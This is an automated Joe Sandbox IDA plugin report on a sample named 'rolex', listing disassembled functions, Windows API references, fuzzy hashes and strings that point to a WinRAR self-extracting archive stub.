Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff7ab490000_rolex.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturn
String ID:
API String ID: 3668304517-0
Opcode ID: dd833eb704b03c62a36fea145c0b0b4abee32047d89ef2e694e61e0216d7ee09
Instruction ID: fc701ef7867717c9af939c6036f8870d78b2777de61e272a2c744096c4687d3c
Opcode Fuzzy Hash: dd833eb704b03c62a36fea145c0b0b4abee32047d89ef2e694e61e0216d7ee09
Instruction Fuzzy Hash: 73018462E1A78581EA11A72CE445269B361FFCAB94FC15231EA9C07BB6DF6CD0408714

Function 00007FF7AB4C1558 Relevance: 1.5, APIs: 1, Instructions: 38COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00007FF7AB4C1604: GetModuleHandleW.KERNEL32(?,?,?,00007FF7AB4C1573,?,?,?,00007FF7AB4C192A), ref: 00007FF7AB4C162B

DloadProtectSection.DELAYIMP ref: 00007FF7AB4C15C9

Memory Dump Source

Source File: 00000003.00000002.2047990803.00007FF7AB491000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF7AB490000, based on PE: true

Associated: 00000003.00000002.2047974659.00007FF7AB490000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2048021052.00007FF7AB4D8000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2048042527.00007FF7AB4EB000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2048042527.00007FF7AB4F4000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2048076885.00007FF7AB4FA000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2048076885.00007FF7AB4FE000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff7ab490000_rolex.jbxd

Similarity

API ID: DloadHandleModuleProtectSection
String ID:
API String ID: 2883838935-0
Opcode ID: 902d746097657f35995c40355b3f554eba39218e3fb79a70aefbb70b68ceb6fd
Instruction ID: 3771bafcf22b8e5f9747101f3d859b68068029aec5e2635100580a074673fe36
Opcode Fuzzy Hash: 902d746097657f35995c40355b3f554eba39218e3fb79a70aefbb70b68ceb6fd
Instruction Fuzzy Hash: F111CC61E0B51782FB60BB2DA850371A790AF15B48FD61035C90D4B2B1FE3CBC999630

Function 00007FF7AB4CFA04 Relevance: 1.5, APIs: 1, Instructions: 36memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL ref: 00007FF7AB4CFA59

Memory Dump Source

Source File: 00000003.00000002.2047990803.00007FF7AB491000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF7AB490000, based on PE: true

Associated: 00000003.00000002.2047974659.00007FF7AB490000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2048021052.00007FF7AB4D8000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2048042527.00007FF7AB4EB000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2048042527.00007FF7AB4F4000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2048076885.00007FF7AB4FA000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2048076885.00007FF7AB4FE000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff7ab490000_rolex.jbxd

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: c4d23aaef5024e3722ccbb242168b3e22d65bf63548bcaacbbf61b8d0a3ba7a1
Instruction ID: 43592e67c9c1abda54fc772ce6628fb9d4fd6d8541416a6cdb6f365603944b29
Opcode Fuzzy Hash: c4d23aaef5024e3722ccbb242168b3e22d65bf63548bcaacbbf61b8d0a3ba7a1
Instruction Fuzzy Hash: 05F06D51B0B70785FE587BAE99113B4D2905F46F88FCA5430C90E8A7F2EE2DE6894330

Function 00007FF7AB4A3EC8 Relevance: 1.5, APIs: 1, Instructions: 31COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF7AB4A40BC: FindFirstFileW.KERNELBASE ref: 00007FF7AB4A410B
Part of subcall function 00007FF7AB4A40BC: FindFirstFileW.KERNEL32 ref: 00007FF7AB4A415E
Part of subcall function 00007FF7AB4A40BC: GetLastError.KERNEL32 ref: 00007FF7AB4A41AF

FindClose.KERNELBASE(?,?,00000000,00007FF7AB4B0811), ref: 00007FF7AB4A3EFD

Memory Dump Source

Source File: 00000003.00000002.2047990803.00007FF7AB491000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF7AB490000, based on PE: true

Associated: 00000003.00000002.2047974659.00007FF7AB490000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2048021052.00007FF7AB4D8000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2048042527.00007FF7AB4EB000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2048042527.00007FF7AB4F4000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2048076885.00007FF7AB4FA000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2048076885.00007FF7AB4FE000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff7ab490000_rolex.jbxd

Similarity

API ID: Find$FileFirst$CloseErrorLast
String ID:
API String ID: 1464966427-0
Opcode ID: 18fe74ab7ca813274cb64c08179860cc48efc587ad39327f0b25563dc18ddab5
Instruction ID: 08d18e54e6f6057a2aeb6cb4e059b26a6585a7b11934a6ecf579e0f829120819
Opcode Fuzzy Hash: 18fe74ab7ca813274cb64c08179860cc48efc587ad39327f0b25563dc18ddab5
Instruction Fuzzy Hash: 78F0C86290E24185DA50BFB9A100179B760AF15BB4F96533CEA3D073F7DE28D444C765

Function 00007FF7AB4CD94C Relevance: 1.5, APIs: 1, Instructions: 29memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL ref: 00007FF7AB4CD98A

Memory Dump Source

Source File: 00000003.00000002.2047990803.00007FF7AB491000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF7AB490000, based on PE: true

Associated: 00000003.00000002.2047974659.00007FF7AB490000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2048021052.00007FF7AB4D8000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2048042527.00007FF7AB4EB000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2048042527.00007FF7AB4F4000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2048076885.00007FF7AB4FA000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2048076885.00007FF7AB4FE000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff7ab490000_rolex.jbxd

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: 5fa632deebd8181b9f3ea37834cf4eccbda839d7d0d6f948310c23224b4a93e7
Instruction ID: 26f0c30056bd93c9567537175e682ca54bc816c68ad9feb0209369c7c12a8f1d
Opcode Fuzzy Hash: 5fa632deebd8181b9f3ea37834cf4eccbda839d7d0d6f948310c23224b4a93e7
Instruction Fuzzy Hash: BBF05E15B0B60744FF547AB9580027496A05F46F60FCA1630D96E462F5DE1CE4708130

Function 00007FF7AB4A20D0 Relevance: 1.5, APIs: 1, Instructions: 29COMMON

Download Yara Rule

APIs

FindCloseChangeNotification.KERNELBASE(?,?,00000001,00007FF7AB4A207E), ref: 00007FF7AB4A20F6

Memory Dump Source

Source File: 00000003.00000002.2047990803.00007FF7AB491000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF7AB490000, based on PE: true

Associated: 00000003.00000002.2047974659.00007FF7AB490000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2048021052.00007FF7AB4D8000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2048042527.00007FF7AB4EB000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2048042527.00007FF7AB4F4000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2048076885.00007FF7AB4FA000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2048076885.00007FF7AB4FE000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff7ab490000_rolex.jbxd

Similarity

API ID: ChangeCloseFindNotification
String ID:
API String ID: 2591292051-0
Opcode ID: ccbd9008d2c4ce7168f8d058ff2f34620ae6bf54bfe45a0cbca9d6a6f1a7c065
Instruction ID: ee3e3519801842d2b065e300408af57084c33a2b4f9837143d004fa9ce24d82f
Opcode Fuzzy Hash: ccbd9008d2c4ce7168f8d058ff2f34620ae6bf54bfe45a0cbca9d6a6f1a7c065
Instruction Fuzzy Hash: EEF0AF32A0A68285FB249B38E441379AB61EB14B78FCA4338E73C051F4DF28D8959320

Function 00007FF7AB4A273C Relevance: 1.5, APIs: 1, Instructions: 18fileCOMMON

Download Yara Rule

APIs

SetEndOfFile.KERNELBASE ref: 00007FF7AB4A2755

Memory Dump Source

Source File: 00000003.00000002.2047990803.00007FF7AB491000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF7AB490000, based on PE: true

Associated: 00000003.00000002.2047974659.00007FF7AB490000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2048021052.00007FF7AB4D8000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2048042527.00007FF7AB4EB000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2048042527.00007FF7AB4F4000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2048076885.00007FF7AB4FA000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2048076885.00007FF7AB4FE000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff7ab490000_rolex.jbxd

Similarity

API ID: File
String ID:
API String ID: 749574446-0
Opcode ID: 7793d0dfaf1bed477703e517dfb550f1e48d00439aedf8bd4eeb9f79e866bcb3
Instruction ID: 057a9eaf41c1aa1967225c4e62ce04adccd04123fd215cde2b2eab783c495bc0
Opcode Fuzzy Hash: 7793d0dfaf1bed477703e517dfb550f1e48d00439aedf8bd4eeb9f79e866bcb3
Instruction Fuzzy Hash: 2EE0C256B2251582EF60BB3FC852638A360EF8CF84BCA5030CE4C07731CE28D4818A10

Function 00007FF7AB4A2490 Relevance: 1.5, APIs: 1, Instructions: 12COMMON

Download Yara Rule

APIs

GetFileType.KERNELBASE ref: 00007FF7AB4A24A2

Memory Dump Source

Source File: 00000003.00000002.2047990803.00007FF7AB491000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF7AB490000, based on PE: true

Associated: 00000003.00000002.2047974659.00007FF7AB490000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2048021052.00007FF7AB4D8000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2048042527.00007FF7AB4EB000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2048042527.00007FF7AB4F4000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2048076885.00007FF7AB4FA000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2048076885.00007FF7AB4FE000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff7ab490000_rolex.jbxd

Similarity

API ID: FileType
String ID:
API String ID: 3081899298-0
Opcode ID: df9a28314c6b6fddfb177ebf539387614dcb0363737e1ba4f38fe55c4f903e1a
Instruction ID: 38ba0cfd4eab6ac18cd7e6731d735f23b3f6cf24af9ec2548bfc570650d7e417
Opcode Fuzzy Hash: df9a28314c6b6fddfb177ebf539387614dcb0363737e1ba4f38fe55c4f903e1a
Instruction Fuzzy Hash: 19D01212D0B45192DD50A73E9C5103C6354AF92735FE50730D63E816F1CE1D9496B321

Function 00007FF7AB4D7610 Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

FreeLibrary.KERNELBASE ref: 00007FF7AB4D7620

Memory Dump Source

Source File: 00000003.00000002.2047990803.00007FF7AB491000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF7AB490000, based on PE: true

Associated: 00000003.00000002.2047974659.00007FF7AB490000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2048021052.00007FF7AB4D8000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2048042527.00007FF7AB4EB000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2048042527.00007FF7AB4F4000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2048076885.00007FF7AB4FA000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2048076885.00007FF7AB4FE000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff7ab490000_rolex.jbxd

Similarity

API ID: FreeLibrary
String ID:
API String ID: 3664257935-0
Opcode ID: d905035bd3ffed0fa3d42b0ba6c84558746c8bc0c2d9d26789c142ff972459f6
Instruction ID: a2b4f460c402dde674d49dac5215abd18bcef6de18a9f73069d5e46e98e36ffc
Opcode Fuzzy Hash: d905035bd3ffed0fa3d42b0ba6c84558746c8bc0c2d9d26789c142ff972459f6
Instruction Fuzzy Hash: 0BD09E9AD1B90685F785BB19E8953349360BF59B69FC30634C50D061728F7D3098C720

Function 00007FF7AB4A7FC4 Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

SetCurrentDirectoryW.KERNELBASE ref: 00007FF7AB4A7FD2

Memory Dump Source

Source File: 00000003.00000002.2047990803.00007FF7AB491000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF7AB490000, based on PE: true

Associated: 00000003.00000002.2047974659.00007FF7AB490000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2048021052.00007FF7AB4D8000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2048042527.00007FF7AB4EB000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2048042527.00007FF7AB4F4000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2048076885.00007FF7AB4FA000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2048076885.00007FF7AB4FE000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff7ab490000_rolex.jbxd

Similarity

API ID: CurrentDirectory
String ID:
API String ID: 1611563598-0
Opcode ID: 176ab68ebee512dad0278907058cd855c5c44f8615b79807412a7d406b36e525
Instruction ID: 3f142954e22c00b8465e0e5c7451f58f9a2de636ebbd6c4bbefd4879f67fa5aa
Opcode Fuzzy Hash: 176ab68ebee512dad0278907058cd855c5c44f8615b79807412a7d406b36e525
Instruction Fuzzy Hash: 04C08C20F07502C1DA086B2AC8C902813A4BB40B08BE28039D10C81131CE2CC5EA9359

Non-executed Functions

Function 00007FF7AB4A5B60 Relevance: 12.3, APIs: 8, Instructions: 256COMMON

Download Yara Rule

APIs

GetFullPathNameW.KERNEL32 ref: 00007FF7AB4A5BC2
GetFullPathNameW.KERNEL32 ref: 00007FF7AB4A5C0E
GetFullPathNameW.KERNEL32 ref: 00007FF7AB4A5D2B
GetFullPathNameW.KERNEL32 ref: 00007FF7AB4A5D70
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7AB4A5EE0
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7AB4A5EE6
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7AB4A5EEC
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7AB4A5EF2

Memory Dump Source

Source File: 00000003.00000002.2047990803.00007FF7AB491000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF7AB490000, based on PE: true

Associated: 00000003.00000002.2047974659.00007FF7AB490000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2048021052.00007FF7AB4D8000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2048042527.00007FF7AB4EB000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2048042527.00007FF7AB4F4000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2048076885.00007FF7AB4FA000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2048076885.00007FF7AB4FE000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff7ab490000_rolex.jbxd

Similarity

API ID: FullNamePath_invalid_parameter_noinfo_noreturn
String ID:
API String ID: 1693479884-0
Opcode ID: 35b10314ce3b8e4c64707b679fc70269f3b9094245ec8e91ba41ccecbc270bb7
Instruction ID: 464f7fa508ea176e171905ba5c4f11d8d3f706c9cf93d82546e7bc93ed2fa9ca
Opcode Fuzzy Hash: 35b10314ce3b8e4c64707b679fc70269f3b9094245ec8e91ba41ccecbc270bb7
Instruction Fuzzy Hash: A9A1C2B2F16B5285FE00AB7D99441BDB321AF45BA4B954239DE2D17BF9DE3CE0418310

Function 00007FF7AB4BA440 Relevance: 16.0, APIs: 7, Strings: 2, Instructions: 257COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF7AB49129C: Concurrency::cancel_current_task.LIBCPMT ref: 00007FF7AB491396

_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7AB4BA72F
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7AB4BA735
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7AB4BA73B
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7AB4BA741
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7AB4BA747
EndDialog.USER32 ref: 00007FF7AB4BA7BA

Strings

GETPASSWORD1, xrefs: 00007FF7AB4BA773
Software\WinRAR SFX, xrefs: 00007FF7AB4BA52B, 00007FF7AB4BA53A

Memory Dump Source

Source File: 00000003.00000002.2047990803.00007FF7AB491000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF7AB490000, based on PE: true

Associated: 00000003.00000002.2047974659.00007FF7AB490000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2048021052.00007FF7AB4D8000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2048042527.00007FF7AB4EB000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2048042527.00007FF7AB4F4000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2048076885.00007FF7AB4FA000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2048076885.00007FF7AB4FE000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff7ab490000_rolex.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturn$Concurrency::cancel_current_taskDialog
String ID: GETPASSWORD1$Software\WinRAR SFX
API String ID: 431506467-1315819833
Opcode ID: 100daac0e34165666268f43f408bc6971489d972bf40231fa28c726ba550acfe
Instruction ID: 39926c30a7586e70207bccbef04536081890a7a99b51f3ab28dbfedc03cf35f2
Opcode Fuzzy Hash: 100daac0e34165666268f43f408bc6971489d972bf40231fa28c726ba550acfe
Instruction Fuzzy Hash: CFB19E62F1A78285FB00ABBCD4442BCA372AB45794F814235DB5C26AFADF7CE545C360

Function 00007FF7AB4BF390 Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 85COMMON

Download Yara Rule

APIs

GetWindow.USER32 ref: 00007FF7AB4BF3CF
GetClassNameW.USER32 ref: 00007FF7AB4BF3FC
GetWindowLongPtrW.USER32 ref: 00007FF7AB4BF41D
IsDlgButtonChecked.USER32 ref: 00007FF7AB4BF437
GetObjectW.GDI32 ref: 00007FF7AB4BF452
IsDlgButtonChecked.USER32 ref: 00007FF7AB4BF487
DeleteObject.GDI32 ref: 00007FF7AB4BF490
GetWindow.USER32 ref: 00007FF7AB4BF49E

Strings

STATIC, xrefs: 00007FF7AB4BF402

Memory Dump Source

Source File: 00000003.00000002.2047990803.00007FF7AB491000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF7AB490000, based on PE: true

Associated: 00000003.00000002.2047974659.00007FF7AB490000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2048021052.00007FF7AB4D8000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2048042527.00007FF7AB4EB000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2048042527.00007FF7AB4F4000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2048076885.00007FF7AB4FA000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2048076885.00007FF7AB4FE000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff7ab490000_rolex.jbxd

Similarity

API ID: Window$ButtonCheckedObject$ClassDeleteLongName
String ID: STATIC
API String ID: 781704138-1882779555
Opcode ID: 028936735c5caa7e1c5955390d3996a5d13f8d6e72d7f98742e6e6c768b0ab82
Instruction ID: 284c764f0d466261b0feddecc175eca5698cb960e0961d26a266cd8bd70e2bfd
Opcode Fuzzy Hash: 028936735c5caa7e1c5955390d3996a5d13f8d6e72d7f98742e6e6c768b0ab82
Instruction Fuzzy Hash: F431E822B0A65246FA64FB6DA5547B9A391FF98BC0F820030DE4D07B76DF3CE4028760

Function 00007FF7AB4C5CE8 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 191COMMONLIBRARYCODE

Download Yara Rule

APIs

EncodePointer.KERNEL32 ref: 00007FF7AB4C5D58

Part of subcall function 00007FF7AB4C5210: abort.LIBCMT ref: 00007FF7AB4C5223

_CallSETranslator.LIBVCRUNTIME ref: 00007FF7AB4C5DA3
abort.LIBCMT ref: 00007FF7AB4C5FD1

Strings

RCC, xrefs: 00007FF7AB4C5D74
MOC, xrefs: 00007FF7AB4C5D6C

Memory Dump Source

Source File: 00000003.00000002.2047990803.00007FF7AB491000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF7AB490000, based on PE: true

Associated: 00000003.00000002.2047974659.00007FF7AB490000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2048021052.00007FF7AB4D8000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2048042527.00007FF7AB4EB000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2048042527.00007FF7AB4F4000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2048076885.00007FF7AB4FA000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2048076885.00007FF7AB4FE000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff7ab490000_rolex.jbxd

Similarity

API ID: abort$CallEncodePointerTranslator
String ID: MOC$RCC
API String ID: 2889003569-2084237596
Opcode ID: 0f4c2d06ef2d655583c55900dbb020dcf620b12558a4295111afe460be181df6
Instruction ID: 8998b5ee85b79c6fe224e7dddc9c1b5144022e4ba59beb653ba88cd573e8993d
Opcode Fuzzy Hash: 0f4c2d06ef2d655583c55900dbb020dcf620b12558a4295111afe460be181df6
Instruction Fuzzy Hash: DD91B073A0AB918AE710EF69E4412ADBBA0F705B88F514139EE8C17775DF38D195CB10

Function 00007FF7AB4B7B28 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 122COMMON

Download Yara Rule

APIs

ShowWindow.USER32 ref: 00007FF7AB4B7B6F
GetWindowRect.USER32 ref: 00007FF7AB4B7BC0
ShowWindow.USER32 ref: 00007FF7AB4B7C96
ShowWindow.USER32 ref: 00007FF7AB4B7CC3

Strings

RarHtmlClassName, xrefs: 00007FF7AB4B7C4B

Memory Dump Source

Source File: 00000003.00000002.2047990803.00007FF7AB491000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF7AB490000, based on PE: true

Associated: 00000003.00000002.2047974659.00007FF7AB490000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2048021052.00007FF7AB4D8000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2048042527.00007FF7AB4EB000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2048042527.00007FF7AB4F4000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2048076885.00007FF7AB4FA000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2048076885.00007FF7AB4FE000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff7ab490000_rolex.jbxd

Similarity

API ID: Window$Show$Rect
String ID: RarHtmlClassName
API String ID: 2396740005-1658105358
Opcode ID: 7e152e90957d1346e93cce3b53dfbd480fa38e990bdf0b518984ba75781cfd03
Instruction ID: b9730491bdf1396dfe108dca90f5dffe8698893baafa3870ca93f6a92f87b780
Opcode Fuzzy Hash: 7e152e90957d1346e93cce3b53dfbd480fa38e990bdf0b518984ba75781cfd03
Instruction Fuzzy Hash: 5651752260A7418AEA24AB69E44437AE361FF89B80F864435DF8E47B75DF3CE0458B10

Function 00007FF7AB4BFD0C Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 76COMMON

Download Yara Rule

APIs

SetEnvironmentVariableW.KERNEL32 ref: 00007FF7AB4BFD43
SetEnvironmentVariableW.KERNEL32 ref: 00007FF7AB4BFDBC
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7AB4BFE1B

Strings

sfxpar, xrefs: 00007FF7AB4BFDB5
sfxcmd, xrefs: 00007FF7AB4BFD3C

Memory Dump Source

Source File: 00000003.00000002.2047990803.00007FF7AB491000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF7AB490000, based on PE: true

Associated: 00000003.00000002.2047974659.00007FF7AB490000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2048021052.00007FF7AB4D8000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2048042527.00007FF7AB4EB000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2048042527.00007FF7AB4F4000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2048076885.00007FF7AB4FA000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2048076885.00007FF7AB4FE000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff7ab490000_rolex.jbxd

Similarity

API ID: EnvironmentVariable$_invalid_parameter_noinfo_noreturn
String ID: sfxcmd$sfxpar
API String ID: 3540648995-3493335439
Opcode ID: 65c4bc3e57016a74e8805048ea790c6f4a694eba210e4a6448e418b17608a108
Instruction ID: 948467ed855687e2852745a56d7fc92b4d9a24e5634073913548aa778d5d444b
Opcode Fuzzy Hash: 65c4bc3e57016a74e8805048ea790c6f4a694eba210e4a6448e418b17608a108
Instruction Fuzzy Hash: 3831AF32A16A4584EB00ABADE4841BCB371FB48B88F910131DF5E577B9DF38D052C364

Function 00007FF7AB4CF414 Relevance: 7.6, APIs: 5, Instructions: 114libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetProcAddress.KERNEL32 ref: 00007FF7AB4CF536

Memory Dump Source

Source File: 00000003.00000002.2047990803.00007FF7AB491000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF7AB490000, based on PE: true

Associated: 00000003.00000002.2047974659.00007FF7AB490000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2048021052.00007FF7AB4D8000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2048042527.00007FF7AB4EB000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2048042527.00007FF7AB4F4000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2048076885.00007FF7AB4FA000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2048076885.00007FF7AB4FE000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff7ab490000_rolex.jbxd

Similarity

API ID: AddressProc
String ID:
API String ID: 190572456-0
Opcode ID: d8da239e760e4119be076ce5ae60c5d71a4e7276355522d8061e2664917ecd9d
Instruction ID: 2fbe1b8b7a688f7f670f32151e9d028e399654a50d563df9607f282af0a72573
Opcode Fuzzy Hash: d8da239e760e4119be076ce5ae60c5d71a4e7276355522d8061e2664917ecd9d
